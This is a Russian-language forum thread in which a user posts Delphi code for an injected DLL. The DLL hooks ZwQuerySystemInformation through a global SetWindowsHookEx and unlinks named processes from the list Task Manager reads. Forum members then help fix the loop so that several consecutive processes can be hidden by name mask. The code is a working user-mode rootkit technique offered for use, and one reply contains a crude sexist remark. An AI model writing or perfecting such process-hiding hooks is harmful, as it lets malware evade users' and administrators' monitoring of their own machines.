Подскажите новичку. Возникла необходимость спрятать несколько процессов от taskmanager'а в NT. Сразу уточню, что раньше мне с системным программированием я не пересекалась, и пока использую только Delphi. Изрядно погуглив и перечитав различные форумы (в том числе и wasm, разумеется), я поняла, что самый простой (и, к сожалению, единственный для меня доступный) способ, без написания драйверов, лежит на практически всех, сайтах - основан на исходниках MsRemа (как я поняла) , все завязано на перехвате zwquerysysteminformation. Напирмер, часть кода dll, без описания классов: Код (Text): function NewSystemFunction(ASystemInformationClass: DWORD; ASystemInformation: Pointer; ASystemInformationLength: DWORD; AReturnLength:PCardinal): NTStatus; stdcall; var info,back_Proc:PSYSTEM_PROCESSES; begin UnHookCodeHook(@SystemFunctionBridge); Result:=ZwQuerySystemInformation(ASystemInformationClass,ASystemInformation,ASystemInformationLength,AReturnLength); SetCodeHook(SystemFunctionBridge.Address,@NewSystemFunction,@SystemFunctionBridge); if ASystemInformationClass<>SystemProcessesAndThreadsInformation then exit; if Result<>STATUS_SUCCESS then exit; info:= ASystemInformation; repeat if (info^.ProcessName.Buffer = HiddenProcess) then begin back_Proc^.NextEntryDelta:=back_Proc^.NextEntryDelta+info^.NextEntryDelta; end; back_Proc:=info; Info := pointer(dword(info) + info^.NextEntryDelta); until Info^.NextEntryDelta = 0; end; function MsgProc(code:DWORD;wParam,lparam:DWORD):DWORD;stdcall; begin CallNextHookEx(SH,code,wParam,lparam); end; procedure SetWindowsHook(e:Boolean); stdcall; var M:THandle; begin SH:=SetWindowsHookEx(WH_GETMESSAGE,@MsgProc,HInstance,0); end; Все отлично работает, но (как я указала выше) мне необходимо прятать несколько процессов. Если написать Код (Text): if (info^.ProcessName.Buffer = HiddenProcess) or (info^.ProcessName.Buffer = HiddenProcess2) то HiddenProcess2 прячется, но только если он не следует за HiddenProcess, что логично (как мне кажется), так как смещение происходит на NextEntryDelta, текущего в цикле процесса, соответственно можно попробовать перечислить (как я размышляла) процессы и Код (Text): back_Proc^.NextEntryDelta:=back_Proc^.NextEntryDelta+info^.NextEntryDelta*n;//n - количество процессов, следующим за текущем. Но это в корне неправильно, и, как минимум, не будет работать в большинстве случаев. Извиняюсь за свое дилетанство, и , возможно, некорректные формулировки, но как мне спрятать несколько процессов (например по маске). Заранее благодарна за помощь и указания верного напраления для моих дальнейших изысканий.
tamara2 Вы в таком непростом коде разобрались (да ещё он у вас заработал), а по элементарным вещам задаёте вопросы. И почему не написали откуда берёте указатель на HiddenProcess ? А что будет если на первой итерации цикла условие нахождения сработает? Что бы сделать "по маске", нужно обрабатывать содержимое info^.ProcessName. Что бы поменять не один NextEntryDelta - оборачиваем repeat исчо в 1 цикл, в теле которого высчитываем новый HiddenProcess (или читаем info^.ProcessName).
Переписала на основе примера на C Код (Text): function NewSystemFunction(ASystemInformationClass: DWORD; ASystemInformation: Pointer; ASystemInformationLength: DWORD; AReturnLength:PCardinal): NTStatus; stdcall; var Curr,prev:PSYSTEM_PROCESSES; begin UnHookCodeHook(@SystemFunctionBridge); Result:=ZwQuerySystemInformation(ASystemInformationClass,ASystemInformation,ASystemInformationLength,AReturnLength); SetCodeHook(SystemFunctionBridge.Address,@NewSystemFunction,@SystemFunctionBridge); if ASystemInformationClass<>SystemProcessesAndThreadsInformation then exit; if Result<>STATUS_SUCCESS then exit; curr:= ASystemInformation; while(curr <> nil) do begin if (curr^.ProcessName.Buffer <> nil) then begin if (Pos('calc',curr^.ProcessName.Buffer) > 0) then begin if(prev<>nil) then begin if (curr^.NextEntryDelta <> 0) then prev^.NextEntryDelta := prev^.NextEntryDelta + Curr^.NextEntryDelta else prev^.NextEntryDelta := 0 end else begin if(curr^.NextEntryDelta <> 0) then ASystemInformation := Pointer(dword(ASystemInformation) + offset) else ASystemInformation := nil end; end; end; prev := curr; if(curr^.NextEntryDelta <> 0) then curr:= pointer(dword(curr) + curr^.NextEntryDelta) else curr := nil; end; end; вот именно в самом цикле и загвоздка. как я понимаю должно быть что-то типа: Код (Text): curr2:=pointer(dword(curr)); while (curr2<>nil) do begin if (Pos('calc',Curr2^.ProcessName.buffer)>0) then begin Inc(offset,Curr2^.NextEntryDelta); curr2:= pointer(dword(curr2) + offset) end else Break; end; prev^.NextEntryDelta := prev^.NextEntryDelta + offset; или как?
Да нет же. Просто создайте еще одну функцию, которая заменит Вам кучу Pos() or Pos() or Pos()... Создайте массив из строк, которые суть - имена скрываемых процессов. И в функции по циклу оббегайте этот массив, для каждого элемента вызывав Pos(). Если хоть один Pos() найдет совпадение, то немедленно выходим из функции и возвращаем значение, которое будет говорить о том, что процесс надо скрыть. Не забудьте сделать поиск регистронезависимым.
Twister Да какие к чертям Pos. Мальчик вообще не разбирается в предмете. Pos годится при работе с WideString (а тут нуль-терминальная строка).
А zero-terminated строка не может быть Wide? Pos() прекрасно работает и с Ansi, и с Wide строками. Так что тут все нормально. Единственный момент - я бы во внедряемой библиотеке старался бы по-меньше использовать дельфовый RTL, юзал бы свой, как здесь (там вся дельфовая мишура вообще вырезана). ЗЫ. Какой же tamara2 мальчик?
Twister Pos кушат делфовые AnsiString и WideString. Размер хранится по смещению -4. См. System._WStrPos Есть в SysUtils.StrPos , но она для PAnsiChar. Для PWideChar в D7 нету аналога. ЗЫ. Ну а почему tamara2 девочка?
Twister Согласен. Я просто всегда пошу именно так как ты написал, не расчитывая на "понимание" компилятора. Но в данном месте не особо то и эффективно делфовые строки в памяти строить. Вот только полагаю, что tamara2 не особо понимает что "скармливает" своим функциям. Тут видно, что просто копи-пастит и пишет наобум кодес. ЗЗЫ. Да сказать можно всё что угодно, что бы поскорее помогли.
Формат дельфовых строк мне известен. Не помню точно, производит ли компилятор попытки неявного преобразования null-terminated строки в дельфовый формат (дома погляжу), но если обернуть указатель в WideString() или AnsiString(), то все будет прекрасно работать. ЗЫ. tamara2 вроде сама об этом сказала add: это сообщение должно быть на одну позицию выше
Twister, T800, спасибо за комментарии, ЗЫ. улыбнуло). Честно и усиленно пытаюсь разобраться в вопросе) Проблема (изначально) у меня не в сравнении WideChar и AnsiString. Практика показывает, что Pos в моем случае работает исправно, хотя я задумывалась присмотреться к RtlCompareUnicodeString из ntdll. Спасибо за совет это тоже понятно, просто пока, я, для удобства, фильтрую процессы calc1.exe, calc2.exe, calc3.exe ... Код (Text): if pos(mask,prs)>0 then result:=True else Result:=False; Загвоздка в другом. Попытаюсь обьяснить своими словами (не пинайте). Перехватив ZwQuerySystemInformation, в цикле я перебираю структуру SystemInformation, в ней меня интересует ProcessName.Buffer, и NextEntryDelta - офсет указывающий на текущий элемент. Если ProcessName.Buffe искомый, то я сдвигаю офсет на следущий элемент - Код (Text): prev^.NextEntryDelta := prev^.NextEntryDelta + Curr^.NextEntryDelta тут ничего хитрого нет. Дальше я вижу несколько вариантов развития событий (запущены calc, calc2, calc3, calc4, calc5, ...) 1. Если процесс (калькуляторы) один или в структуре они идут не подряд все работает. 2. Если в структуре они идут подряд, то "прячутся" соответственно calc, calc3, calc5, ... , т.е. через один, что и понятно, ведь я сдвигаю офсет на следущий элемент. Что я думала: Перед обработкой спросить zwquerysysteminformatin о процессах, записать их имена и офсеты в массив, потом, в основной функции, на основании этого массива, добавлять нужные офсеты. Но! Мне кажется это очень долго (возможно на asm'e быстрее - но в нем я несведуща), даже для процессов, а потом может и к zwquerydirectoryfile интерес появится)) да и между вызовами zwquery в системе может что-нибудь измениться. (Кстати, я так и не поняла, какое имено значение хранится в NextrEntryDelta, если оно не ноль, и одинаковый ли "промежуток" между элементами...) Каким нибудь способом "заглядывать вперед", смотреть не искомый ли там процесс, потом дальше, и.т.д. . Но реализавать это у меня не получилось. Вот имено с этой ситуаций я и прошу совета. ЗЫ. Я не мальчик)
Поправочка: на следующий элемент. Смещение до следующего элемента. Не надо так извращаться. Все довольно-таки просто реализуется простой правкой оффсетов, надо только чуток пораскинуть тем, что несомненно есть в голове. Если в некоторых случаях вы перепрыгиваете элемент при его сокрытии, то логично предположить что происходит лишний сдвиг на оффсет. Избавьтесь от него и будет счастье Это радует. Если и желание разобраться в проблеме у Вас на самом деле такое же, как Вы пишете, то это похвально вдвойне!
TITS or GTFO. или это не тот форум? ну дык Код (Text): while Pos(mask,prs)>0 чтото делфовое вместо сишной{ prev^.NextEntryDelta := prev^.NextEntryDelta + Curr^.NextEntryDelta; Inc(Curr,Curr^.NextEntryDelta); чтото делфовое вместо сишной}